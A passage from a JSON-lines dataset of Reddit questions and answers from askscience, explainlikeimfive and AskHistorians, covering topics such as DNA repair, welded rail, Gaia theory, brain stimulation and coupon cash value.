of excess protein 24/7 that you wouldn't be making otherwise. Increasing protein turnover is going to increase your chances of accruing misfolded proteins, which are associated with a lot of neurodegenerative diseases that scare me more than cancer does.", "It's a very interesting idea.  One issue that would be a problem (somewhat related to PostalPenguin's post, but different) is that many of the DNA repair pathways are normally regulated by the DNA damage response and DNA damage checkpoint pathways.  You might be able to artificially upregulate a DNA repair pathway, but if the DNA damage response is not coupled with this activation and the cells don't stop at appropriate cell cycle checkpoints, the repair enzymes may not have enough time to act before the cells divide again.  Alternatively, lack of time to complete repair could result in the triggering of apoptosis or senescence instead of cell division.  Depending on the tissue and cell type, loss of these cells or propagation of unrepaired DNA damage could both be detrimental.\n\nAnother issue would be which DNA repair pathways to upregulate (assuming it would be feasible, and it's actually not that easy).  If cells have a lot of double-stranded breaks, then you'd want to upregulate the homologous recombination machinery and the nonhomologous end-joining machinery- but which of these two pathways?  NHEJ usually acts during G1 phase, and HR usually acts during G2 phase, and there exists finer regulation depending on the cell type.  Also, which subpathways of HR- crossovers?  noncrossovers?  single-strand annealing?  break-induced replication?  All of these pathways have specific situations in which they are ideal, but the repair can be detrimental in other situations, and can actually lead to increased DNA damage.  If there are many UV-induced DNA lesions, then you'd want to upregulate the nucleotide excision repair pathways, and to combat replication errors, you'd want to upregulate the DNA mismatch repair pathways.  As you can see, even just choosing which pathways you want to upregulate is tricky business.  \n\nThe more pertinent application in trials right now in cancer patients is to inhibit DNA repair in combination with chemotherapeutics and radiation therapy.  There is promising evidence that combining defects in two different DNA repair pathways can inhibit tumor growth.  You're right that in theory, having better DNA repair would be a great cancer preventive measure, but I don't think we're there yet.  The best we can do is to try to limit DNA damage by limiting inhalation of cigarette smoke and particulates, intake of grilled fatty meats, and exposure to UV light and chemical carcinogens, and by increasing our intake of healthful vegetables and fruits containing antioxidants (to combat the reactive oxygen species produced during normal metabolism).  ", "Simply put, that's a fantastic question to ask.\n\nwhat about upregulating telomere repair?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/20656472"], ["http://en.wikipedia.org/wiki/Radiation_hormesis"], [], [], [], [], ["http://www.ncbi.nlm.nih.gov/pubmed/20656472"], ["http://en.wikipedia.org/wiki/Radiation_hormesis"], [], [], [], []]}
{"q_id": "152btv", "title": "How come that rail tracks can be weld together and they don't bend when the temperature changes?", "selftext": "I saw a documentary (not sure what was its name) about building a railroad in Spain. It was a high-speed rail (Madrid to Barcelona I think). They were using very long rails (250m I think) and they alwasy welded them together.\n\nSidenote: If we have a metal rod, it expands when temperature changes, right? It expands to all directions, but since there's a lot of atoms in its length, we can actually see/measure it. (I hope I'm right here)\n\nThe change between min/max average temperatures in Madrid is about 30\u00b0C. Even if it was build in the \"middle\" of this range, shouldn't the track bent somewhere when it's too hot (and the metal is exposed to sun)? As a bonus it's used by high-speed trains. Why the trains won't derail? Is the structure holding the tracks so strong it won't allow the metal to expand? Or is the expansion so minor it's not noticeable?\n\nNote: This is physics/train engineering question, I hope it's OK to put it in this subreddit.\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/152btv/how_come_that_rail_tracks_can_be_weld_together/", "answers": {"a_id": ["c7io4yk", "c7islz4"], "score": [2, 7], "text": ["Some links talking about it happening:\n\n_URL_0_\n_URL_1_", "The track structure itself resists the stresses from temperature change. The stress is transferred to from the rail to the tie through anchors or elastic fasteners, then from the tie to the ballast that it is embedded in, and to the subgrade.\n\nWhen laying the rail, it is heated to the desired Neutral Temperature (DNT) for the property which is chosen by the expected temperature range of the region (typically around 95-105 deg F) which is the temperature at which the rail is in neither compression nor tension.\n\nBelow that temperature the rail is in tension and at risk for  a pull-apart, and above that temperature the rail is in compression and at risk of a track buckle.\n\nI teach a annual course on standards for track construction and maintenance, and we spend a good portion of time on the forces involved in continuous welded rail (CWR). Additionally, the FRA (Federal Railroad Administration) here in the US requires a three day course on CWR for any roadway workers that construct maintain of inspect welded rail. If you are really interested, you may be able to find some of that course material on the web. I unfortunately cannot share our materials."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.kmov.com/community/blogs/reporters-blog/Extreme-heat-can-warp-train-tracks-126294533.html", "www.pbs.org/newshour/rundown/2010/07/heat-wave-causes-kinks-in-rail-tracks.html"], []]}
{"q_id": "44ah37", "title": "why do so some chain stores put their checkouts right in the middle of the store instead of near the exit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44ah37/eli5_why_do_so_some_chain_stores_put_their/", "answers": {"a_id": ["czor34x", "czorsmz", "czorwm1", "czosu3x"], "score": [22, 14, 33, 3], "text": ["Companies have started to implement this placement as it forces customers to walk through a good length of the shop before finalising any purchases. On the way to the cash register there is ample opportunity to do the ol' bait and catch with sale items being set up down the main thoroughfares, so the chances of a customer walking through and spotting something else they might need (or want) is greatly increased. This outweighs the potential loss from shrinkage or stock lost through theft so it works in the favour of the business. ", "I work in a big retail store with two exits and registers spanning the length between those two exits.\n\nWe used to have them open on either end, nice and close to one of the exits. But we kept running into a problem where one side would get busy and the other would be quite, but we can't always shift a cashier from one side to the other (There could be 3 cashiers all helping one person each, and the other side has 3 cashiers helping 8 people.)\n\nTo stop this from being a problem, we now use the ones in the middle, that way we will have 6 cashiers helping 11 people. ", "Because you specifically mentioned Kmart, that is where I started my search, and found this explanation from the company itself in 'the register':  \n\n > The checkouts at Kmart stores have traditionally been at the front by the entrance and exit.\n\n > Agosta says this repositioning [to the center of the store] allows more space at the front of the store for visual merchandising to showcase events through the year.\n\n > She says customers can also see the different areas of the store more easily from the central checkout station.   \n\nIf I had to interpret that last statement, I would say it makes it easier for people, once in line, to decide to run to a different department real quick and grab one more item they forgot to get, or give them more visual clues to remind them of anything else they might want while they are waiting to pay.\n", "Some departments require specific knowledge about the product and more sales tactics, namely electronics. You don't need a salesman to tell you which towels, pencils, trashcans etc to buy. But if you're looking for a new TV or computer, its a big purchase and you're going to ask more questions. It also gives you less time to rethink your purchase when they can check out your new $800 TV on the spot."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1d4wg5", "title": "When did civilization start issuing birth and death certificates?", "selftext": "It occurred to me that most modern civilizations keep birth and death records, but I'm wondering when that actually started.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1d4wg5/when_did_civilization_start_issuing_birth_and/", "answers": {"a_id": ["c9mygun", "c9n2nvf"], "score": [4, 2], "text": ["In modern, catholic world - after Concilium Tridentinum parish registers became obligatory. At first they conveyed only baptisms (which was pretty much the same as noting the fact of birth, children that died before they were christened are a minor \"problem\" in genealogy because of that) and marriages (to prevent bigamy). After some time deaths were also noted down.\n\nThe first known register of baptisms was introduced by Francisco Jim\u00e9nez de Cisneros in late 15th century.\n\nIt was a great civilizational achievement - parish registries were egalitarian, so if the church weren't sacked or burned down, you can find your predecessors even if they were plebeians back to 16th century.\n\nIn China families noted deaths and births on their own, that's why we have now known living descendant of Confucius - >  _URL_0_ It's because of their b\u00e0iz\u01d4/ancestral worship. We (Westerners) didn't care that much about our roots, it was rather matter of prestige, not religion. Birth and death records were introduced because they were practical, in China the main reason is of the religious matter.", "I'm quite certain I've read of Babylonian parents presenting newborns to a court scribe to record its birth, but I can't find the reference now"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Kong_Chuichang"], []]}
{"q_id": "1tp1kc", "title": "Was there Always a Right to Privacy?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1tp1kc/was_there_always_a_right_to_privacy/", "answers": {"a_id": ["cea6ixr"], "score": [2], "text": ["Given that you haven't given the slightest clue as to what you're talking about -- when? where? what right to privacy? given by whom? -- this question is too vague to stand."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2q9sqy", "title": "why don't police in america administer first aid to people they have shot?", "selftext": "In cases like the Tamir Rice one and many others in America, police never seem to offer first aid to those they have shot. Tamir Rice was  left dying, no one even attempted to offer first aid. In the UK, a big emphasis seems to be put on keeping suspects alive, even terrorists -_URL_0_.\n\nAny reason for this?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2q9sqy/eli5_why_dont_police_in_america_administer_first/", "answers": {"a_id": ["cn45b0s", "cn45kdx", "cn45uoi", "cn46d35"], "score": [7, 24, 8, 2], "text": ["I could go with two different lines of answers, and it's up to you to see how far you agree with either.\n\nThe first is simple, the usual yak-yak about police brutality in the US; a culture of violence in the police forces and fear of the criminal etc. etc.\n\nThe second, however is to have me dispute your claims; I feel that you are lacking hard evidence here. It is likely that the police in the US *do* administer first aid to those they have shot, not in any way significantly different in situations than those in the UK. Rather, the examples chosen here are the ones which are sensationalized, or publicized, and the exception is made to seen to be the norm. Perhaps, the times for the many who are administered first aid are simply not shown or reported; they are recorded and filed away in incident reports in dusty cabinets not open to the public and the media. And well, police in the UK typically don't carry guns, and that reduces the opportunities for a situation for where a *shot* suspect would even exist in the first place to be administered first aid.", "This is a misconception.  First Aid will be rendered with the highest priority, but it cannot be the person that shot the individual because of legal reasons.  Usually when an officer has to discharge his sidearm,, there will generally be other officers with him by the time the situation escalates to that level.  This fact is obviously not followed absolutely however.  Most police departments have their own policies regarding shootings that might differ slightly from this main axiom and they range from full first aid no matter who shot the suspect to complete lack of first aid as seen in the Tamir Rice case. \n\nSource: Former SSDF military police, U.S. Navy.", "It isn't true that police officers in the US never offer first aid. It appears to differ from jurisdiction to jurisdiction.  \n\nHere are several examples from news reports of officers treating someone they'd shot until paramedics arrive:  \n\n_URL_4_\n\n_URL_3_\n\n_URL_5_\n\n_URL_0_  \n\nOn the other hand in New Orleans, police have virtually no advanced (i.e. gunshot) first aid training: \n\n_URL_2_\n\nAnd here's a story about war veterans bringing battlefield trauma techniques to Columbus, Ohio PD, where officers previously appeared to have little to no training:  \n\n_URL_1_", "In most situations there will be EMTs close at hand who will administer first aid. For the times that there are not actual medical professionals the police do have first aid kits and will administer assistance till the EMTs get there. "]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=DyDub9QHZxo"], "answers_urls": [[], [], ["http://www.wfaa.com/story/news/crime/2014/08/14/13787350/", "http://www.dispatch.com/content/stories/local/2014/07/26/police-learn-to-provide-emergency-first-aid.html", "http://www.nola.com/crime/index.ssf/2014/07/bourbon_street_nopd_response.html", "http://www.oregonlive.com/pacific-northwest-news/index.ssf/2012/02/salem_police_say_robbery_suspe.html", "http://wnflam.com/news/articles/2011/nov/13/green-bay-police-officer-involved-in-shooting-one-man-dead/", "http://www.local8now.com/home/headlines/One-man-dead-after-officer-involved-shooting-285701011.html"], []]}
{"q_id": "3l1zv8", "title": "When pouring a liquid (a) into another liquid (b), which splashes?", "selftext": "I learned this in chemistry class 10 years ago but I've since forgotten... We were told to pour chemicals a certain way to avoid being splashed with hazardous liquids. \n\nSay I pour a blue colored liquid from a flask into a container filled with yellow colored liquid, will the splash back be blue, yellow or green (a mix of the two)?\n\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3l1zv8/when_pouring_a_liquid_a_into_another_liquid_b/", "answers": {"a_id": ["cv2gql5", "cv2j556", "cv2l8sr"], "score": [15, 5, 44], "text": ["The color of the splashing liquid would probably be a function of how soluble the two liquids are in each other. Without specifics, we can't really make predictions.\n\nWhat you're probably thinking of is diluting strong acids with water. In those cases, the dissolving process is extremely exothermic (releases a lot of heat). Therefore, such as in the case of diluting sulfuric acid, adding water to concentrated acid will drastically increase the temperature, potentially boiling the solution and splashing you with acid. If you go the other direction, though, and add acid to water, the small amount of acid in each addition won't be enough to boil the water and you'll be safe.", "Going back to our assumption about the energy of the liquids. Let's say the potential energy of liquid 1 at it's pour height is equal to the kinetic energy of liquid 2 during the splash (and let's assume the splash is mostly liquid 2 for simplification of densities). Equating these two energies, we get this simple equation:\n\u03c12v2=\u03c11gh\nsolving for v,\nv=\u03c11\u03c12gh\u203e\u203e\u203e\u203e\u203e\u221a\nIf we plug this into the Peclet number, we get\nPe=\u03c11\u03c12\u203e\u203e\u203e\u221ah3/2g1/2D\n\nWhen the Peclet number is much greater than 1, the splashing liquid will be mostly composed of liquid 2 and when the Peclet number is much less than 1, the splashing liquid will be more evenly mixed between liquids 1 and 2. For example, if we pour water of one color into water of another from a height of 10 cm, the densities are almost equal and we get Pe=1.36\u00d7106 which means that the liquids in general won't mix quickly enough for a splash to contain much of the poured liquid.", " >  I learned this in chemistry class 10 years ago but I've since forgotten... We were told to pour chemicals a certain way to avoid being splashed with hazardous liquids. \n\nThe reason you were told to pour acid into water and not water into acid isn't because there's a set rule as to which liquid splashes. It's because pouring water into a container of acid creates a very strongly concentrated solution of acid which releases a bunch of heat and may boil the acid explosively, sending it straight to your face.\n\nBut when you add acid into water, the acid solution that gets created is very dilute initially, as there's far more water than acid.\n\nBasically the rule is, make a dilute solution of acid that increases in concentration gradually. Instead of making an extremely concentrated solution of acid and then trying to dilute it before it blows up in your face."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1duvbt", "title": "what is the gaia theory?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1duvbt/eli5_what_is_the_gaia_theory/", "answers": {"a_id": ["c9u49l3", "c9u4hch", "c9u4sgx", "c9u56v2"], "score": [4, 77, 2, 11], "text": ["Usually used in talks about global warming, it is the theory that if we mess up the Earth (or Gaia), the Earth has natural systems for repairing itself. \n\nThe theory you hear it in most often is CO2 emissions. People think that because we are pumping so much CO2 into the atmosphere, more trees and other plants that use CO2 to breathe will grow and produce more Oxygen from converting the CO2 back into O2, and over time it will reach equilibrium again.  ", "Gaia Theory is simply that you can study the entire earth as if it were a single organism.  All life and non-biological substances on the planet react to each other, and evolved in such a way that they are impacted by each other.  As such, you can study large scale changed to the earth (both the biological and non-biological parts) as all part of a complex interworking system, the same way you might study one of the complex systems in humans (such as the Krebs Cycle).\n\nAt times it has be criticized because proponents have a tendency to act a little bit too much as if the Earth actually is a living organism, and it's sometimes used by people in a pseudoscience way, but there is good science around the theory.  ", "Imagine earth as a living creature. Everything is in balance, everything ebs and flows. Living creatures breathe in oxygen and breathe out carbon dioxide and produce nitrates. Plants convert nitrates to nutrition, sunlight and carbon dioxide to oxygen. Water evaporates, moves and rains back down again. Ocean currents transport heat and nutrients across the planet.\n\nThese balancing systems work from microscopic ecosystems to global phenomena that affect the entire planet. Everything is in balance. Everything is dependent on everything else. upset that balance and there are consequences until things can be balanced once again. Kill all the predators in the forest and the herbivores will enjoy an explosive population growth, stripping the forest bare until they die of starvation in a desert of their own making.\n\nOn the one hand this suggests that the balance will restore itself after suffering damage. Which is probably true. Earth has seen many cataclysmic events and mass extinctions over it's lifetime and things have always bounced back so to speak.\n\nOn the other hand this balance is not a peaceful process. It's brutal and can take enormous amounts of time by human standards. The idea that earth recovers and finds balance again is of little solace to those destroyed in the process. The ground is full of fossils of the creatures who lived in past ages.\n\nGaia is the concept of looking at the earth as a whole instead of dividing it up in bits and pieces. Rain forests, oceans, poles, currents, species, atmosphere. Take one out of the equation and it affects everything else.", "First, you should understand the concept of a system.  The Earth is full of systems: living systems and non living systems (water and air for example).  These systems are all connected.  Imagine them as a web where one string is connects to many others.  If you cut one string, the stability of the whole web is at risk and you have to restitch it.  In ecosystems, all living and non living things on Earth are connected in many ways and that changes in one part can cause changes in many other parts.\n\nThe Gaia Theory was proposed by James Lovelock and Lynn Margulis.  Basically, they think that the Earth, with all its systems (hydrosphere (water system), biosphere (the part that holds living things), and atmosphere (where you get your air)) adapt and respond and change (or self-regulate if you like fancy terms) like all living organisms do.  For example, if an organism gets too hot, their body will react in some way to cool them down.  For example, humans sweat and thus cool themselves down through evaporation.  The Earth behaves in the same way.  It fits the very definition of life itself.\n\nLovelock created a computer model called Daisyworld which demonstrated this very well.  In times where the solar energy was high, white Daisies, who like the warm temperatures, would grow.  White, as you might know, reflects light.  So all these daisies reflect much of the solar energy away from the Earth and cool it as a result.  During this period of cooling, the black daisies would start growing.  You see, they like the colder temperatures better.  But the black daisies would absorb more of the sun's energy and warm the planet.  This causes the white daisies to grow....  And so, the system ebbs and flows like any other living system.  The Earth maintains a balance in all aspects, or homeostasis, in this way.  Very much like you or me.  You can see these ebbs and flows in ocean salinity, carbon dioxide levels, ozone levels, etc.  The whole system will shift to keep things stable and avoid collapse.\n\nSo, it is argued, that the Earth lives, as we do.  It adapts and it evolves.  It is important to remember, of course, that it is hard to adapt to extreme circumstances!  Change the web too much and collapse could be a very real threat to the Earth's survival."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "fzutfp", "title": "If you have an immunity to a virus, would your immunity fail if your body gets exposed to a massive number of that virus? Could that realistically happen for healthy people?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fzutfp/if_you_have_an_immunity_to_a_virus_would_your/", "answers": {"a_id": ["fn6dek2"], "score": [9], "text": ["It depends on a lot of things. \n\nThe outcome of any exposure depends on three general things: The pathogen, the host, and the environment. \n\nThere are some pathogens that are by their nature very marginal, and it\u2019s very easy to prevent infection. Others are very potent and can overcome all but the most powerful defenses. \n\nHosts can have different levels of resistance, whether because of their history (previously infected? Previously vaccinated? Vaccinated 50 years ago and never boosted?), or their genetics (there are people who are naturally extremely resistant to HIV infection), or their current condition (organ transplant recipients who are immunosupressed? Missed a night\u2019s sleep and marginally immunosuppressed?). \n\nAnd the environment is also a factor. Dry weather affecting mucus membranes, super crowded conditions, and so on. Pathogen dose can go in here (teachers who spend their day in the festering virus factory of a kindergarten might be heavily exposed). \n\nSo the answer is rarely going to be black and white. If you were vaccinated five years ago and you\u2019re mildly stressed and exposed to a moderate dose of virus, likely you\u2019re protected. If you were exposed ten years ago and missed two nights of sleep and a toddler sneezes in your face, maybe you\u2019re not fully protected.\n\nThat said, for many common pathogens there are realistic levels of immunity that put a normal healthy person out of risk for any plausible dose. For things like measles and mumps, immune people are really strongly immune, and any dose that the environment can provide is not going to overcome that. \n\nTo forestall the next question, we don\u2019t know where SARS-CoV-2 falls in the spectrum. We can be reasonably optimistic that infection and (based on results with SARS and MERS) vaccination should provide pretty decent immunity, but more than that we don\u2019t know."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dixfyd", "title": "What is the exact relation between mass and electromagnetic charge in the scope of modern QFT?", "selftext": "Years ago I actually had several courses on GR and QFT (alas I forget most of it over the years) but why is it that all electromagnetically charged particles are massive. Is this a direct consequence of the symmetry breaking introduced by the Higgs field?\nI speak Lagrangians and Hamiltonians, you don't have to be gentle.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/dixfyd/what_is_the_exact_relation_between_mass_and/", "answers": {"a_id": ["f3zq2ai"], "score": [26], "text": ["The mass and electric charge of a given particle* are independent numbers, arising from independent considerations. In the context of QFT, an elementary particle is something that transforms under an irreducible representation of the Poincare group. Such a representation turns out to be completely specified by two numbers: a non-negative real number (mass), and a non-negative half-integer (spin). Electric charge, on the other hand, is a number measuring how much a field's complex phase changes under a certain U(1) transformation, which is an internal symmetry not related to the Poincare group.\n\nWhen you write the Lagrangian for a general particle, you include the mass and electric charge as free parameters (that are then fixed by experiment). In principle you could make the mass zero and charge non-zero and nothing would go wrong. It just happens that in our universe there doesn't seem to be any massless charged particles. We can be quite sure of this - if such a particle existed, it would be very easy to produce and detect, and massive charged particles like the electron would no longer be stable.\n\n\\*Although interestingly, the masses of particles in our universe depend crucially on the Higgs being uncharged. The photon is massless precisely because the Higgs is uncharged, and the Yukawa interactions that give rise to the masses of other particles would not be possible if the Higgs were charged. But there is no relation between a particle's mass and *its own* charge."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6lksub", "title": "What happened to the Wehrmacht soldiers who fought with Allied soldiers after the Battle for Castle Itter", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6lksub/what_happened_to_the_wehrmacht_soldiers_who/", "answers": {"a_id": ["djuoyrp"], "score": [38], "text": ["So I looked though \"The Last Battle\" by Stephen Harding, which is perhaps the most direct treatment of the battle, and the answer, I'm sorry to say, is thoroughly unsatisfying. After the conclusion of the fight, the surviving members of the Wehrmacht were sent into captivity as POWs. The only member of the German forces who assisted in the defense that Harding offers any coda for is Kurt-Siegried Schrader - a member of the Waffen-SS, not the Wehrmacht - who was provided with a signed letter by the former prisoners attesting to his assistance in their defense, which may or may not have helped him secure release in 1947. He eventually secured a job with the state, and died in \"the mid-1990s.\" The Wehrmacht apparently did not receive similar chits, but being only enlisted men, and not Waffen-SS at that, they would have had less need of such a protection. In any case though, Harding does not record what happened to them following their march into captivity, but they would have been released over the next few years, along with the other millions of German captives rounded up with the end of the war."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2nsn1z", "title": "Can thoughts be manipulated by electricity?", "selftext": "I was wondering, since thoughts are electrical impulses of the brain, if it would be possible to change them or make people think certain things by running an electrical current through the brain", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2nsn1z/can_thoughts_be_manipulated_by_electricity/", "answers": {"a_id": ["cmgl2l2"], "score": [22], "text": ["Theoretically, if I knew exactly what every single neuron in your brain did and had the ability to control their activity as precisely as I wanted, then sure, I could control your thoughts. However, we don't have anywhere near that level of knowledge about what every neuron does or the ability to manipulate neurons that precisely. Our knowledge about the brain is much more like \"In general, when you [look at a picture/hear a sound/move your hand], this type of cell does something like this and then this other type of cell does that etc etc\" and not like \"When someone thinks 'Can thoughts be manipulated by electricity?' first this specific neuron fires like this and then these other neurons fire like that etc etc\". So in short, the easiest way for me to get you to think about purple elephants is still to say \"Quick! Don't think about purple elephants!\"\n\nHowever, you might be interested in some of the techniques we do have to manipulate neuronal activity, so I'll outline a few below:\n\n1. Transcranial magnetic stimulation (TMS): This is a simplification, but basically, we can use electromagnets on someone's scalp to create weak electrical currents to disrupt the activity of neurons in the cortex (outer layer of the brain, which deals with stuff like sensory processing and motor control). This method is very imprecise - it affects a whole bunch of neurons at once, and can't really reach deep brain structures (although people are trying to develop methods to do that). I can use TMS to make your hand twitch or interrupt a goal-directed motion, but not to give you specific thoughts. [Here's](_URL_0_) a recent paper that uses TMS to interfere with people's performance in a classification task.\n\n2. Deep brain stimulation (DBS): DBS is an established treatment for Parkinson's Disease and other movement disorders and an experimental treatment for depression and other mood disorders. Unlike TMS, which is noninvasive and mostly used on neurons near the surface of the brain, DBS requires surgery and is specifically targeted at deeper brain structures. Based on the patient's symptoms, the neurosurgeon chooses a target area of the brain (often the STN or GPi) and permanently implants an electrode that will rhythmically stimulate neurons in the target. DBS is an incredibly effective treatment for movement disorders, [as you can see in this video](_URL_3_), but isn't as well-established for depression, although there have been some successes, which you can read about [in this paper](_URL_1_). Let me know if you're interested in hearing more about DBS!\n\n3. Optogenetics: This isn't done in humans, but I thought I'd mention it because it does let you control smaller populations of neurons. Optogenetics is a method where genetic tools are used to make a model organism (mouse or fly, usually) express a protein called Channelrhodopsin in a specific population of neurons that you're interested in. Channelrhodopsin is an ion channel that is activated by a specific wavelength of light - that means that by shining a laser on the cells that express it, we can make the channel open, allowing ions to flow through, which in turn makes the cells fire. [Here's](_URL_2_) a review article on optogenetics."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.jneurosci.org/content/34/37/12481.short", "http://www.sciencedirect.com/science/article/pii/S0165032714000548", "http://www.annualreviews.org/doi/abs/10.1146/annurev-neuro-061010-113817", "https://www.youtube.com/watch?v=PIEa6y9mIvU"]]}
{"q_id": "jo6oq", "title": "development cycle of a video game", "selftext": "I want to know the cycles and stages that a game goes through in order to measure progress etc. Alpha, Beta and all the inbetweens", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/jo6oq/eli5_development_cycle_of_a_video_game/", "answers": {"a_id": ["c2dr2bq", "c2dr2bq"], "score": [4, 4], "text": ["Usually, it starts with a concept submission (which sometimes includes a prototype demo). If this gets approved, it's on to the pre-production design phase, where the overall game design gets worked out and put into a design document. Once that is there, production can begin and there are usually a number of monthly milestones to be met. \nIn my experience, Alpha usually means the game is feature complete (meaning all features are in, but not necessarily final) but not tweaked or tuned and a lot of assets in the way of art, final VO, text, etc are not all in yet. \nBeta, theoretically means that everything is in there, just not tweaked or balanced and that there are still expected to be a lot of bugs. The Beta period is about finding and fixing bugs and balance tweaking and tuning. \nEventually you hit GMC, which is the Gold Master Candidate-- when you think you've found and fixed everything and it's ready to go. It's usually not... so you fix whatever is there and it's time for GMC2 and so on until one of your candidate submissions is accepted and it gets ready to go to manufacture and you  (As a developer) get ready to start the whole process all over again. ", "Usually, it starts with a concept submission (which sometimes includes a prototype demo). If this gets approved, it's on to the pre-production design phase, where the overall game design gets worked out and put into a design document. Once that is there, production can begin and there are usually a number of monthly milestones to be met. \nIn my experience, Alpha usually means the game is feature complete (meaning all features are in, but not necessarily final) but not tweaked or tuned and a lot of assets in the way of art, final VO, text, etc are not all in yet. \nBeta, theoretically means that everything is in there, just not tweaked or balanced and that there are still expected to be a lot of bugs. The Beta period is about finding and fixing bugs and balance tweaking and tuning. \nEventually you hit GMC, which is the Gold Master Candidate-- when you think you've found and fixed everything and it's ready to go. It's usually not... so you fix whatever is there and it's time for GMC2 and so on until one of your candidate submissions is accepted and it gets ready to go to manufacture and you  (As a developer) get ready to start the whole process all over again. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1ww5vq", "title": "why is the us banking system so ancient? why have they not adopted new technologies yet?", "selftext": "I moved from Canada to the US and can't get over how slow the banking system is and I feel like they are stuck in the 90's. Where are the chips? Where are the online email transfers? Why does it take twice as long to get things processed?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ww5vq/eli5why_is_the_us_banking_system_so_ancient_why/", "answers": {"a_id": ["cf5wyl5", "cf5xc58", "cf5zvsl", "cf60qqi", "cf61ltm"], "score": [6, 17, 6, 4, 4], "text": ["maybe just your bank?   my bank has had online transfers for years.  my credit card's been smart chipped (against my wishes) for years too.", "What are you talking about? I get alerts on my phone every time money is spent from my checking account.  I can even take a picture of a check and have it deposited within one hour. I don't even have to put pants on!", "ITT people who think the touchless pay smart-chip is what OP's referring to.  It isn't.\n\nHe's referring to chip and pin where every card transaction can only be concluded by the holder entering their pin.\n\nBoth the touchless pay and mag swipe are less safe than chip and pin because the former methods require only the possession of the card with no extra control feature.  Signatures and 'see ID' are not nearly as robust as chip and pin.\n\nI'm sure inter-bank transfers are more facile/common than op understands.\n\nMy gripe is the ATM charges.  I get the charges for international accounts...but why the fuck are you allowed to be charged money for accessing your own bloody money?!", "I recently moved down from Canada and I too was surprised at what appears to be a backward banking system here.  But it's improving .... slowly\r\r1. Chip cards are slowly coming out.  One of my Chase cards have the chip (but oddly, when I use it in Canada, the transaction gets processed without needing to type a PIN)\r\r2. My parents use BoA and still must fill out those WTF deposit slips.  We got rid of that shit back home in the mid 90s.\r\r3. Online bill payment.  The way it's done here is completely WTF compared to how we do it back home (or, at least, to how TD Canada Trust does it -- such a better way)", "I recently moved to Germany from the US. I opened a bank account and asked about getting a check book and the guy laughed at me. They do everything with electronic transfers. I do some work for the US and they can only pay by paper check which is a pain in the ass."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1wzjo6", "title": "how does res 'know' how many upvotes and downvotes a comment has?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1wzjo6/eli5_how_does_res_know_how_many_upvotes_and/", "answers": {"a_id": ["cf6s39q"], "score": [3], "text": ["Reddit just shows it. It even shows it on the normal webpage. It's just hidden with a CSS rule \"display: none\" for each comment.\n\nProof: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://imgur.com/1gqd7Kv"]]}
{"q_id": "5xegx5", "title": "why do coupons have a little note that says that their cash value is 1/100 of a cent?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5xegx5/eli5_why_do_coupons_have_a_little_note_that_says/", "answers": {"a_id": ["dehtybx", "dehxzxq", "dei3pug", "deicote", "deie7wh"], "score": [8, 25, 2, 3, 2], "text": ["When I was a kid in the 1960s, my grandmother used to shop at Acme supermarkets in Philadelphia and collect trading steps all year. Then around November she would give the books of stamps to my brother and I and we would use the stamps to buy Christmas presents for our parents and grandparents. ", "I vaguely remember Co-Op Green Shield stamps. My parents were queuing up, looking to redeem them, and there were cabinets of items to be redeemed on display. I was around 7 y/o, I saw some adjustable roller skates, thought to myself, \"Huh. I bet me and my sis don't get those.\" After waiting approximately 3 eternities, my parents did come back - amazingly with 2 pairs of roller skates, one for each of us kids. I was thrilled! Much fun and many skinned knees occurred that day. ", "There's a complete video about it - similar to ELI5:\n\n\n_URL_0_", "Follow up question(s):\n\nIf a coupon has a cash value, does that value expire, as does that coupon's intended effect? What I'm trying to get at is: should I stop throwing away expired fast food coupons in order to save up for a shiny new penny or would it be for naught? And if they do expire, then would it even be possible to ever redeem them for the cash value? Can I redeem, say, an individual coupon worth 1/100 of a cent before it expires and get a check or something? Or do you have to redeem them in 1 cent multiples?", "So when employee steal them to reuse, they're staying something of cash value and can fire them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=MM2rWcAlMYs"], [], []]}
